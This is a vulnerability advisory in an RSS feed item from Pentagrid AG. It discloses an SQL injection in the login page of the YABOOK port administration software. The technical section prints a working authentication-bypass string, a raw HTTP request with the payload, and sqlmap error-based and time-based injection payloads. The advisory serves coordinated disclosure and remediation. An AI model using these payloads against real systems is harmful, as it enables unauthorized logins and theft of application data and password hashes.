<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xsl" href="../../assets/xml/rss.xsl" media="all"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Pentagrid AG (Posts about SQL injection)</title><link>https://www.pentagrid.ch/</link><description></description><atom:link href="https://www.pentagrid.ch/en/categories/sql-injection.xml" rel="self" type="application/rss+xml"></atom:link><language>en</language><copyright>Contents © 2026 Pentagrid AG </copyright><lastBuildDate>Wed, 17 Jun 2026 19:14:56 GMT</lastBuildDate><generator>Nikola (getnikola.com)</generator><docs>http://blogs.law.harvard.edu/tech/rss</docs><item><title>SQL injection in YABOOK port administration allows authentication bypass</title><link>https://www.pentagrid.ch/en/blog/sql-injection-in-port-administration-software-yabook/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;figure&gt;&lt;img src="https://www.pentagrid.ch/images/default_preview_image.jpeg"&gt;&lt;/figure&gt; &lt;p&gt;YABOOK is a web-based software by News-Solutions for managing wharves in ports. Hosting of the solution is usually done via a service provider or it is self-hosted by the ports. During a security investigation, Pentagrid discovered an SQL injection in the login mask of the web application, which enabled authentication bypass. This security issue has been resolved.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;section id="timeline"&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2023-12-13: Initial contact with the manufacturer and initial advisory sent.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-12-13: Verified fix is present in version 6.61.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-02-13: CVE-ID requested.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-03-12: Deadline for publication after 90 days.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="sql-injection-in-the-port-administration-software-yabook"&gt;
&lt;h2&gt;1.  SQL injection in the port administration software YABOOK&lt;/h2&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, 9.8 Critical&lt;/pre&gt;
&lt;section id="affected-components"&gt;
&lt;h3&gt;Affected Components&lt;/h3&gt;
&lt;p&gt;Pentagrid identified the vulnerability in the following versions of YABOOK in the on-prem version during a penetration test. Other versions are possibly affected as well.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Version 3.43&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Version 5.80&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="summary"&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;The YABOOK web application has an SQL injection vulnerability on the login page that can be exploited by unauthenticated persons in the network or via Internet.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="impact"&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;Authentication can be bypassed. The administrator account can be taken over. The application can be completely compromised with SQL injections. All application data can be read and manipulated. Reading out and determining passwords can also affect other applications if passwords are reused.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details"&gt;
&lt;h3&gt;Technical Details&lt;/h3&gt;
&lt;p&gt;Both tested versions are affected by an SQL injection in the &lt;code class="docutils literal"&gt;username&lt;/code&gt; field when processing login data. An error message occurs when entering odd numbers of quotation marks, as the following example query shows:&lt;/p&gt;
&lt;pre class="literal-block"&gt;POST /kasse/ HTTP/1.1
Host: XX.XX.XX.XX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Origin: http://XX.XX.XX.XX
DNT: 1
Connection: close
Referer: http://XX.XX.XX.XX/kasse/
Cookie: Kasse=fnba5lhg04ib7e6v3qqk81gu05
Upgrade-Insecure-Requests: 1

username=administrator%27%29+OR+1%3D1&amp;amp;password=asd&amp;amp;submit=Login&lt;/pre&gt;
&lt;p&gt;This HTTP request results in the following HTTP response:&lt;/p&gt;
&lt;pre class="literal-block"&gt;HTTP/1.1 200 OK
Date: [...]
Server: [...]
X-Powered-By: [...]
Expires: [...]
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 4613
Connection: close
Content-Type: text/html

 &amp;lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
     "http://www.w3.org/TR/html4/loose.dtd"&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8"&amp;gt;
&amp;lt;title&amp;gt;Hafenverwaltung - YABOOK&amp;lt;/title&amp;gt;

[...]

&amp;lt;/div&amp;gt;
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') AND (password='7815696ecbf1c96e6894b779456d330e')' at line 1&amp;lt;div class=error&amp;gt;Benutzername oder Passwort falsch!&amp;lt;/div&amp;gt;&lt;/pre&gt;
&lt;p&gt;Web applications often use an SQL query to validate a login. A query requests the database for entries matching the provided login data. If the result of the query is greater than zero, access is granted. Such queries can be exploited if the site is affected by an SQL injection vulnerability. By manipulating the query the result will always be greater than zero, regardless of the entered password. This is also the case with YABOOK. If the character string &lt;code class="docutils literal"&gt;admin'' OR &lt;span class="pre"&gt;('1'='1&lt;/span&gt;&lt;/code&gt; is entered as the user name, together with any password, the user is automatically logged in as an administrator.&lt;/p&gt;
&lt;p&gt;The vulnerability was also detectable using Sqlmap and the database backend was identified, as the following excerpt shows:&lt;/p&gt;
&lt;pre class="literal-block"&gt;[13:32:53] [INFO] resuming back-end DBMS 'mysql'
[13:32:53] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: error-based
    Title: MySQL &amp;gt;= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
    Payload: username=administrator') AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7170767671,(SELECT (ELT(2508=2508,1))),0x716b6b7071,0x78))s), 8446744073709551610, 8446744073709551610)))-- xddc&amp;amp;password=&amp;amp;submit=Login

    Type: time-based blind
    Title: MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=administrator') AND (SELECT 5783 FROM (SELECT(SLEEP(5)))dTQF)-- jOzA&amp;amp;password=&amp;amp;submit=Login
---
[13:32:53] [INFO] the back-end DBMS is MySQL
[13:32:53] [INFO] fetching banner
[13:32:53] [INFO] resumed: [...]
web server operating system: Linux Debian [...]
web application technology: [...]
back-end DBMS: MySQL &amp;gt;= 5.5
banner: [...]&lt;/pre&gt;
&lt;p&gt;Using Sqlmap, it was also possible to read password hashes of user accounts. These are MD5 hashes of the passwords without any further salt value. This simplifies a brute force attack on the hashes. MD5 hashes can be generated efficiently and thus tried out, which is why it is considered unsafe to hash passwords using this algorithm.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="precondition"&gt;
&lt;h3&gt;Precondition&lt;/h3&gt;
&lt;p&gt;An attacker needs access to the network and must be able to reach the web application on the network. This is not necessary if the application is also accessible from the Internet, which is the case for some ports in Germany.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="recommendation"&gt;
&lt;h3&gt;Recommendation&lt;/h3&gt;
&lt;p&gt;Recommendation for the vendor:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;The vulnerability should be addressed and further security analysis conducted.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Send a generic error message instead of error messages for incorrect SQL syntax.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Inform affected customers.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Recommendation for users:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Switch to a current version of the software. According to Pentagrid tests, version 6.61 is free of the problem.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="credits"&gt;
&lt;h3&gt;Credits&lt;/h3&gt;
&lt;p&gt;This vulnerability has been found by Ole Diederich (Pentagrid).&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;</description><category>Advisory</category><category>SQL injection</category><category>Vulnerability</category><category>Yabook</category><guid>https://www.pentagrid.ch/en/blog/sql-injection-in-port-administration-software-yabook/</guid><pubDate>Tue, 12 Mar 2024 10:42:00 GMT</pubDate></item></channel></rss>